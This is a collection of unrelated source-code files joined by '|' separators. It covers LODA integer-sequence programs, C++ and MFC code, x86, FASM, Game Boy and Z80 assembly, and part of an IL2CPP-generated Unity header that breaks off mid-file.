mod $2,10
mul $3,10
add $3,$2
lpe
mov $0,$3
|
#include <stdio.h>
class bottomBase {
int baseData;
public:
virtual int getBaseData() const;
};
class baseA : public virtual bottomBase {
int dataA;
public:
void setDataA(int a);
virtual int getDataA() const;
};
class baseB : public virtual bottomBase {
int dataB;
public:
void setDataB(int b);
virtual int getDataB() const;
};
class subBoth : public baseA, public baseB {
public:
virtual int getSum() const;
// Overrise get data methods for fun.
virtual int getDataA() const;
virtual int getDataB() const;
// Override getBaseData;
virtual int getBaseData() const;
};
void baseA::setDataA(int a) {
dataA = a;
}
int baseA::getDataA() const {
return dataA;
}
void baseB::setDataB(int b) {
dataB = b;
}
int baseB::getDataB() const {
return dataB;
}
int subBoth::getSum() const {
int total = 0;
total += getDataA();
total += getDataB();
return total;
}
int subBoth::getDataA() const {
printf("calling getDataA()\n");
return baseA::getDataA();
}
int subBoth::getDataB() const {
printf("calling getDataB()\n");
return baseB::getDataB();
}
int subBoth::getBaseData() const {
printf("calling getBaseData()\n");
return bottomBase::getBaseData();
}
int main(int argc, char **argv) {
subBoth *sb = new subBoth;
int i = sb->getSum();
baseA *ba = sb;
ba->setDataA(12);
ba->getDataA();
baseB *bb = sb;
bb->setDataB(13);
bb->getDataB();
return 0;
}
|
BITS 32
start:
pop ES
|
// CtrlEnumCombo.cpp : implementation file
//
#include "stdafx.h"
#include "CtrlEnumCombo.h"
#ifdef _DEBUG
#undef new
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCtrlEnumCombo
CCtrlEnumCombo::CCtrlEnumCombo()
{
}
CCtrlEnumCombo::~CCtrlEnumCombo()
{
}
void CCtrlEnumCombo::SetDialogPtr( CPropertyComboBar *pDialog)
{
m_pDialog = pDialog;
}
BEGIN_MESSAGE_MAP(CCtrlEnumCombo, CComboBox)
//{{AFX_MSG_MAP(CCtrlEnumCombo)
ON_CONTROL_REFLECT(CBN_SELCHANGE, OnSelchange)
ON_CONTROL_REFLECT(CBN_DROPDOWN, OnDropdown)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCtrlEnumCombo message handlers
void CCtrlEnumCombo::OnSelchange()
{
theApp.GetDocument()->SetModifiedFlag( TRUE);
// update dialog data (to reflect data change)
m_pDialog->UpdateData( TRUE);
m_pDialog->SetIntersectingEntityClassName();
m_pDialog->ArrangeControls();
m_pDialog->UpdateData( FALSE);
}
void CCtrlEnumCombo::OnDropdown()
{
INDEX ctItems = GetCount();
if( ctItems == CB_ERR) return;
CRect rectCombo;
GetWindowRect( &rectCombo);
PIX pixScreenHeight = ::GetSystemMetrics(SM_CYSCREEN);
PIX pixMaxHeight = pixScreenHeight - rectCombo.top;
m_pDialog->ScreenToClient( &rectCombo);
PIX pixNewHeight = GetItemHeight(0)*(ctItems+2);
rectCombo.bottom = rectCombo.top + ClampUp( pixNewHeight, pixMaxHeight);
MoveWindow( rectCombo);
}
|
; A037483: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 1,2.
; 1,8,49,296,1777,10664,63985,383912,2303473,13820840,82925041,497550248,2985301489,17911808936,107470853617,644825121704,3868950730225,23213704381352,139282226288113,835693357728680,5014160146372081
mov $1,6
mov $3,$0
add $3,2
mov $2,$3
sub $2,1
pow $1,$2
mov $4,$1
div $4,7
add $1,$4
sub $1,6
div $1,5
add $1,1
|
.file "stringD.c"
.intel_syntax noprefix
.text
.globl _countA
.def _countA; .scl 2; .type 32; .endef
_countA:
LFB0:
.cfi_startproc
push ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
mov ebp, esp
.cfi_def_cfa_register 5
sub esp, 16
mov DWORD PTR [ebp-4], 0
mov DWORD PTR [ebp-8], 0
jmp L2
L5:
mov edx, DWORD PTR [ebp-4]
mov eax, DWORD PTR [ebp+8]
add eax, edx
movzx eax, BYTE PTR [eax]
cmp al, 97
je L3
mov edx, DWORD PTR [ebp-4]
mov eax, DWORD PTR [ebp+8]
add eax, edx
movzx eax, BYTE PTR [eax]
cmp al, 65
jne L4
L3:
add DWORD PTR [ebp-8], 1
L4:
add DWORD PTR [ebp-4], 1
L2:
mov eax, DWORD PTR [ebp-4]
cmp eax, DWORD PTR [ebp+12]
jl L5
mov eax, DWORD PTR [ebp-8]
leave
.cfi_restore 5
.cfi_def_cfa 4, 4
ret
.cfi_endproc
LFE0:
.ident "GCC: (MinGW.org GCC-8.2.0-5) 8.2.0"
|
INCLUDE "src/include/macros.inc"
SECTION "Header", ROM0[$100]
nop
jp EntryPoint
DS $150 - @, 0
SECTION "Entry point", ROM0
EntryPoint:
call HbOwlSplashScreen
call CopyDMARoutine
ei
vBlankInit
jp TitleScreen |
; === audio_macros.asm
; Macros and constants for the Gen I sound engine.
; Ripped directly from pokeyellow disassembly.
Ch0 EQU 0
Ch1 EQU 1
Ch2 EQU 2
Ch3 EQU 3
Ch4 EQU 4
Ch5 EQU 5
Ch6 EQU 6
Ch7 EQU 7
audio: MACRO
db (_NARG - 2) << 6 | \2
dw \1_\2
IF _NARG > 2
db \3
dw \1_\3
ENDC
IF _NARG > 3
db \4
dw \1_\4
ENDC
IF _NARG > 4
db \5
dw \1_\5
ENDC
ENDM
unknownsfx0x10: MACRO
db $10
db \1
ENDM
unknownsfx0x20: MACRO
db $20 | \1
db \2
db \3
db \4
ENDM
unknownnoise0x20: MACRO
db $20 | \1
db \2
db \3
ENDM
;format: pitch length (in 16ths)
C_: MACRO
db $00 | (\1 - 1)
ENDM
C#: MACRO
db $10 | (\1 - 1)
ENDM
D_: MACRO
db $20 | (\1 - 1)
ENDM
D#: MACRO
db $30 | (\1 - 1)
ENDM
E_: MACRO
db $40 | (\1 - 1)
ENDM
F_: MACRO
db $50 | (\1 - 1)
ENDM
F#: MACRO
db $60 | (\1 - 1)
ENDM
G_: MACRO
db $70 | (\1 - 1)
ENDM
G#: MACRO
db $80 | (\1 - 1)
ENDM
A_: MACRO
db $90 | (\1 - 1)
ENDM
A#: MACRO
db $A0 | (\1 - 1)
ENDM
B_: MACRO
db $B0 | (\1 - 1)
ENDM
;format: instrument length (in 16ths)
snare1: MACRO
db $B0 | (\1 - 1)
db $01
ENDM
snare2: MACRO
db $B0 | (\1 - 1)
db $02
ENDM
snare3: MACRO
db $B0 | (\1 - 1)
db $03
ENDM
snare4: MACRO
db $B0 | (\1 - 1)
db $04
ENDM
snare5: MACRO
db $B0 | (\1 - 1)
db $05
ENDM
triangle1: MACRO
db $B0 | (\1 - 1)
db $06
ENDM
triangle2: MACRO
db $B0 | (\1 - 1)
db $07
ENDM
snare6: MACRO
db $B0 | (\1 - 1)
db $08
ENDM
snare7: MACRO
db $B0 | (\1 - 1)
db $09
ENDM
snare8: MACRO
db $B0 | (\1 - 1)
db $0A
ENDM
snare9: MACRO
db $B0 | (\1 - 1)
db $0B
ENDM
cymbal1: MACRO
db $B0 | (\1 - 1)
db $0C
ENDM
cymbal2: MACRO
db $B0 | (\1 - 1)
db $0D
ENDM
cymbal3: MACRO
db $B0 | (\1 - 1)
db $0E
ENDM
mutedsnare1: MACRO
db $B0 | (\1 - 1)
db $0F
ENDM
triangle3: MACRO
db $B0 | (\1 - 1)
db $10
ENDM
mutedsnare2: MACRO
db $B0 | (\1 - 1)
db $11
ENDM
mutedsnare3: MACRO
db $B0 | (\1 - 1)
db $12
ENDM
mutedsnare4: MACRO
db $B0 | (\1 - 1)
db $13
ENDM
;format: rest length (in 16ths)
rest: MACRO
db $C0 | (\1 - 1)
ENDM
; format: notetype speed, volume, fade
notetype: MACRO
db $D0 | \1
db (\2 << 4) | \3
ENDM
dspeed: MACRO
db $D0 | \1
ENDM
octave: MACRO
db $E8 - \1
ENDM
toggleperfectpitch: MACRO
db $E8
ENDM
;format: vibrato delay, rate, depth
vibrato: MACRO
db $EA
db \1
db (\2 << 4) | \3
ENDM
pitchbend: MACRO
db $EB
db \1
db \2
ENDM
duty: MACRO
db $EC
db \1
ENDM
tempo: MACRO
db $ED
db \1 / $100
db \1 % $100
ENDM
stereopanning: MACRO
db $EE
db \1
ENDM
volume: MACRO
db $F0
db (\1 << 4) | \2
ENDM
executemusic: MACRO
db $F8
ENDM
dutycycle: MACRO
db $FC
db \1
ENDM
;format: callchannel address
callchannel: MACRO
db $FD
dw \1
ENDM
;format: loopchannel count, address
loopchannel: MACRO
db $FE
db \1
dw \2
ENDM
endchannel: MACRO
db $FF
ENDM
|
format PE64 console
entry start
include 'win64a.inc'
section '.idata' import data readable writable
library kernel32, 'kernel32.dll', \
msvcrt, 'MSVCRT.DLL'
import kernel32, \
ExitProcess, 'ExitProcess'
import msvcrt, \
printf, 'printf', \
scanf, 'scanf'
section '.data' data readable
szEnterOperand db 'Please enter operand {+, -, *, /}: ',0
szEnterNum db 'Please enter a number: ', 0
szNumFormat db '%d',0
szOperandFormat db '%c',0
szResultFormat db '%d %c %d = %d',10,0
szResultDivFormat db '%d %c %d = %d, Remainder: %d',10,0
szUnknownOperand db 'Unknown operand',0
section '.bss' data readable writable
dbOperand rq 1
ddNum1 rq 1
ddNum2 rq 1
ddResult rq 1
ddRemainder rq 1
section '.text' code readable executable
start:
; Ask to enter the operand
mov rcx, szEnterOperand
call [printf]
; Read the operand from the console
mov rcx, szOperandFormat
mov rdx, dbOperand
call [scanf]
; Ask for the first number
mov rcx, szEnterNum
call [printf]
; Read first number from console
mov rcx, szNumFormat
mov rdx, ddNum1
call [scanf]
; Ask for the second number
mov rcx, szEnterNum
call [printf]
; Read second number from console
mov rcx, szNumFormat
mov rdx, ddNum2
call [scanf]
; Jump to the correct operation
cmp [dbOperand], '+'
je operandAdd
cmp [dbOperand], '-'
je operandSub
cmp [dbOperand], '*'
je operandMul
cmp [dbOperand], '/'
je operandDiv
; Print if an unknown opertand was entered
mov rcx, szUnknownOperand
call [printf]
jmp exit
operandDiv:
mov rax, [ddNum1]
cdq ; Convert sigend value in EAX in signed value in EDX:EAX
mov rbx, [ddNum2]
idiv rbx ; Signed division divides 64 bit value EDX:EAX through the given operand
mov [ddResult], rax
mov [ddRemainder], rdx
jmp printResultRemainder
operandMul:
mov rax, [ddNum1]
mov rbx, [ddNum2]
imul rax, rbx
mov [ddResult], rax
jmp printResult
operandSub:
mov rax, [ddNum1]
mov rbx, [ddNum2]
sub rax, rbx
mov [ddResult], rax
jmp printResult
operandAdd:
mov rax, [ddNum1]
mov rbx, [ddNum2]
add rax, rbx
mov [ddResult], rax
jmp printResult
printResult:
mov rcx, szResultFormat
mov rdx, [ddNum1]
movsx r8, byte [dbOperand]
mov r9, [ddNum2]
push [ddResult]
sub rsp, 32
call [printf]
add rsp, 40
jmp exit
printResultRemainder:
mov rcx, szResultDivFormat
mov rdx, [ddNum1]
movsx r8, byte [dbOperand]
mov r9, [ddNum2]
push [ddRemainder]
push [ddResult]
sub rsp, 32
call [printf]
add rsp, 48
exit:
mov rcx, 0
call [ExitProcess] |
; ===============================================================
; Mar 2014
; ===============================================================
;
; void *b_vector_insert_block(b_vector_t *v, size_t idx, size_t n)
;
; Inserts n uninitialized bytes before idx into the vector and
; returns the address of the inserted bytes.
;
; ===============================================================
SECTION code_clib
SECTION code_adt_b_vector
PUBLIC asm_b_vector_insert_block
PUBLIC asm0_b_vector_insert_block
EXTERN error_zc
EXTERN asm_b_vector_append_block, asm1_b_array_insert_block
asm_b_vector_insert_block:
; enter : hl = vector *
; de = n
; bc = idx
;
; exit : success
;
; hl = & vector.data[idx]
; carry reset
;
; fail if max_size exceeded
;
; hl = 0
; carry set
;
; fail if insufficient memory or lock not acquired
;
; hl = 0
; carry set
;
; uses : af, bc, de, hl
inc hl
inc hl
asm0_b_vector_insert_block:
push de ; save n
ld e,(hl)
inc hl
ld d,(hl)
ex de,hl ; hl = vector.size
or a
sbc hl,bc ; hl = vector.size - idx
jp c, error_zc - 1 ; if vector.size < idx
; bc = idx
; hl = vector.size - idx
; de = & vector.size + 1b
; stack = n
ex (sp),hl
push bc
ex de,hl
; hl = & vector.size + 1b
; de = n
; stack = vector.size - idx, idx
dec hl ; hl = & vector.size
push hl ; save & vector.size
dec hl
dec hl ; hl = vector *
call asm_b_vector_append_block
pop hl ; hl = & vector.size
jp nc, asm1_b_array_insert_block
jp error_zc - 2 ; if append failed
|
#include "pch-cpp.hpp"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <limits>
#include <stdint.h>
// System.Char[]
struct CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34;
// System.Runtime.CompilerServices.CompilationRelaxationsAttribute
struct CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF;
// System.Runtime.CompilerServices.CompilerGeneratedAttribute
struct CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C;
// System.Diagnostics.DebuggableAttribute
struct DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B;
// System.Diagnostics.DebuggerBrowsableAttribute
struct DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53;
// System.Diagnostics.DebuggerHiddenAttribute
struct DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88;
// System.ComponentModel.DefaultValueAttribute
struct DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6;
// System.ComponentModel.EditorBrowsableAttribute
struct EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614;
// UnityEngine.Bindings.FreeFunctionAttribute
struct FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03;
// System.Runtime.CompilerServices.InternalsVisibleToAttribute
struct InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C;
// UnityEngine.Bindings.NativeConditionalAttribute
struct NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B;
// UnityEngine.Bindings.NativeHeaderAttribute
struct NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C;
// UnityEngine.Bindings.NativeMethodAttribute
struct NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866;
// UnityEngine.Bindings.NativePropertyAttribute
struct NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A;
// UnityEngine.Bindings.NativeThrowsAttribute
struct NativeThrowsAttribute_tF59F2833BDD09C6C89298E603D5C3A598CC08137;
// System.ObsoleteAttribute
struct ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671;
// System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
struct RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80;
// UnityEngine.SerializeField
struct SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25;
// System.String
struct String_t;
// UnityEngine.ThreadAndSerializationSafeAttribute
struct ThreadAndSerializationSafeAttribute_t41719A461F31891B2536A2E4A1E983DD7E428E7B;
// UnityEngine.UnityEngineModuleAssembly
struct UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF;
IL2CPP_EXTERN_C RuntimeClass* AppID_tAD8157F4A7CC26B6E26931C595654BA56A66C01B_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* HostPriority_tA55AD7007516BAA3ADFF8CDC72576479ACA864A0_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* NetworkID_tA7160DE9FBEE6E236564AEA6C328B6180FC368C3_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* NodeID_t07417F7D8D30332570E9D4A123D9E8B7CA1D1E80_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C RuntimeClass* SourceID_tBE00015EA0F2E5DAEBEC7D0210216A18EB6DA62D_il2cpp_TypeInfo_var;
IL2CPP_EXTERN_C_BEGIN
IL2CPP_EXTERN_C_END
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Object
// System.Attribute
struct Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71 : public RuntimeObject
{
public:
public:
};
// System.String
struct String_t : public RuntimeObject
{
public:
// System.Int32 System.String::m_stringLength
int32_t ___m_stringLength_0;
// System.Char System.String::m_firstChar
Il2CppChar ___m_firstChar_1;
public:
inline static int32_t get_offset_of_m_stringLength_0() { return static_cast<int32_t>(offsetof(String_t, ___m_stringLength_0)); }
inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; }
inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; }
inline void set_m_stringLength_0(int32_t value)
{
___m_stringLength_0 = value;
}
inline static int32_t get_offset_of_m_firstChar_1() { return static_cast<int32_t>(offsetof(String_t, ___m_firstChar_1)); }
inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; }
inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; }
inline void set_m_firstChar_1(Il2CppChar value)
{
___m_firstChar_1 = value;
}
};
struct String_t_StaticFields
{
public:
// System.String System.String::Empty
String_t* ___Empty_5;
public:
inline static int32_t get_offset_of_Empty_5() { return static_cast<int32_t>(offsetof(String_t_StaticFields, ___Empty_5)); }
inline String_t* get_Empty_5() const { return ___Empty_5; }
inline String_t** get_address_of_Empty_5() { return &___Empty_5; }
inline void set_Empty_5(String_t* value)
{
___Empty_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___Empty_5), (void*)value);
}
};
// System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 : public RuntimeObject
{
public:
public:
};
// Native definition for P/Invoke marshalling of System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_com
{
};
// System.Boolean
struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37
{
public:
// System.Boolean System.Boolean::m_value
bool ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37, ___m_value_0)); }
inline bool get_m_value_0() const { return ___m_value_0; }
inline bool* get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(bool value)
{
___m_value_0 = value;
}
};
struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields
{
public:
// System.String System.Boolean::TrueString
String_t* ___TrueString_5;
// System.String System.Boolean::FalseString
String_t* ___FalseString_6;
public:
inline static int32_t get_offset_of_TrueString_5() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___TrueString_5)); }
inline String_t* get_TrueString_5() const { return ___TrueString_5; }
inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; }
inline void set_TrueString_5(String_t* value)
{
___TrueString_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___TrueString_5), (void*)value);
}
inline static int32_t get_offset_of_FalseString_6() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___FalseString_6)); }
inline String_t* get_FalseString_6() const { return ___FalseString_6; }
inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; }
inline void set_FalseString_6(String_t* value)
{
___FalseString_6 = value;
Il2CppCodeGenWriteBarrier((void**)(&___FalseString_6), (void*)value);
}
};
// System.Runtime.CompilerServices.CompilationRelaxationsAttribute
struct CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Int32 System.Runtime.CompilerServices.CompilationRelaxationsAttribute::m_relaxations
int32_t ___m_relaxations_0;
public:
inline static int32_t get_offset_of_m_relaxations_0() { return static_cast<int32_t>(offsetof(CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF, ___m_relaxations_0)); }
inline int32_t get_m_relaxations_0() const { return ___m_relaxations_0; }
inline int32_t* get_address_of_m_relaxations_0() { return &___m_relaxations_0; }
inline void set_m_relaxations_0(int32_t value)
{
___m_relaxations_0 = value;
}
};
// System.Runtime.CompilerServices.CompilerGeneratedAttribute
struct CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// System.Diagnostics.DebuggerHiddenAttribute
struct DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// System.ComponentModel.DefaultValueAttribute
struct DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Object System.ComponentModel.DefaultValueAttribute::value
RuntimeObject * ___value_0;
public:
inline static int32_t get_offset_of_value_0() { return static_cast<int32_t>(offsetof(DefaultValueAttribute_tE77EAC79E16838DAE97DB0981C95B0E320DD8EC6, ___value_0)); }
inline RuntimeObject * get_value_0() const { return ___value_0; }
inline RuntimeObject ** get_address_of_value_0() { return &___value_0; }
inline void set_value_0(RuntimeObject * value)
{
___value_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___value_0), (void*)value);
}
};
// System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA : public ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52
{
public:
public:
};
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields
{
public:
// System.Char[] System.Enum::enumSeperatorCharArray
CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* ___enumSeperatorCharArray_0;
public:
inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast<int32_t>(offsetof(Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields, ___enumSeperatorCharArray_0)); }
inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; }
inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; }
inline void set_enumSeperatorCharArray_0(CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* value)
{
___enumSeperatorCharArray_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___enumSeperatorCharArray_0), (void*)value);
}
};
// Native definition for P/Invoke marshalling of System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_com
{
};
// System.Runtime.CompilerServices.InternalsVisibleToAttribute
struct InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String System.Runtime.CompilerServices.InternalsVisibleToAttribute::_assemblyName
String_t* ____assemblyName_0;
// System.Boolean System.Runtime.CompilerServices.InternalsVisibleToAttribute::_allInternalsVisible
bool ____allInternalsVisible_1;
public:
inline static int32_t get_offset_of__assemblyName_0() { return static_cast<int32_t>(offsetof(InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C, ____assemblyName_0)); }
inline String_t* get__assemblyName_0() const { return ____assemblyName_0; }
inline String_t** get_address_of__assemblyName_0() { return &____assemblyName_0; }
inline void set__assemblyName_0(String_t* value)
{
____assemblyName_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&____assemblyName_0), (void*)value);
}
inline static int32_t get_offset_of__allInternalsVisible_1() { return static_cast<int32_t>(offsetof(InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C, ____allInternalsVisible_1)); }
inline bool get__allInternalsVisible_1() const { return ____allInternalsVisible_1; }
inline bool* get_address_of__allInternalsVisible_1() { return &____allInternalsVisible_1; }
inline void set__allInternalsVisible_1(bool value)
{
____allInternalsVisible_1 = value;
}
};
// UnityEngine.Bindings.NativeConditionalAttribute
struct NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeConditionalAttribute::<Condition>k__BackingField
String_t* ___U3CConditionU3Ek__BackingField_0;
// System.Boolean UnityEngine.Bindings.NativeConditionalAttribute::<Enabled>k__BackingField
bool ___U3CEnabledU3Ek__BackingField_1;
public:
inline static int32_t get_offset_of_U3CConditionU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B, ___U3CConditionU3Ek__BackingField_0)); }
inline String_t* get_U3CConditionU3Ek__BackingField_0() const { return ___U3CConditionU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CConditionU3Ek__BackingField_0() { return &___U3CConditionU3Ek__BackingField_0; }
inline void set_U3CConditionU3Ek__BackingField_0(String_t* value)
{
___U3CConditionU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CConditionU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CEnabledU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B, ___U3CEnabledU3Ek__BackingField_1)); }
inline bool get_U3CEnabledU3Ek__BackingField_1() const { return ___U3CEnabledU3Ek__BackingField_1; }
inline bool* get_address_of_U3CEnabledU3Ek__BackingField_1() { return &___U3CEnabledU3Ek__BackingField_1; }
inline void set_U3CEnabledU3Ek__BackingField_1(bool value)
{
___U3CEnabledU3Ek__BackingField_1 = value;
}
};
// UnityEngine.Bindings.NativeHeaderAttribute
struct NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeHeaderAttribute::<Header>k__BackingField
String_t* ___U3CHeaderU3Ek__BackingField_0;
public:
inline static int32_t get_offset_of_U3CHeaderU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C, ___U3CHeaderU3Ek__BackingField_0)); }
inline String_t* get_U3CHeaderU3Ek__BackingField_0() const { return ___U3CHeaderU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CHeaderU3Ek__BackingField_0() { return &___U3CHeaderU3Ek__BackingField_0; }
inline void set_U3CHeaderU3Ek__BackingField_0(String_t* value)
{
___U3CHeaderU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CHeaderU3Ek__BackingField_0), (void*)value);
}
};
// UnityEngine.Bindings.NativeMethodAttribute
struct NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeMethodAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<IsThreadSafe>k__BackingField
bool ___U3CIsThreadSafeU3Ek__BackingField_1;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<IsFreeFunction>k__BackingField
bool ___U3CIsFreeFunctionU3Ek__BackingField_2;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<ThrowsException>k__BackingField
bool ___U3CThrowsExceptionU3Ek__BackingField_3;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<HasExplicitThis>k__BackingField
bool ___U3CHasExplicitThisU3Ek__BackingField_4;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CIsThreadSafeU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CIsThreadSafeU3Ek__BackingField_1)); }
inline bool get_U3CIsThreadSafeU3Ek__BackingField_1() const { return ___U3CIsThreadSafeU3Ek__BackingField_1; }
inline bool* get_address_of_U3CIsThreadSafeU3Ek__BackingField_1() { return &___U3CIsThreadSafeU3Ek__BackingField_1; }
inline void set_U3CIsThreadSafeU3Ek__BackingField_1(bool value)
{
___U3CIsThreadSafeU3Ek__BackingField_1 = value;
}
inline static int32_t get_offset_of_U3CIsFreeFunctionU3Ek__BackingField_2() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CIsFreeFunctionU3Ek__BackingField_2)); }
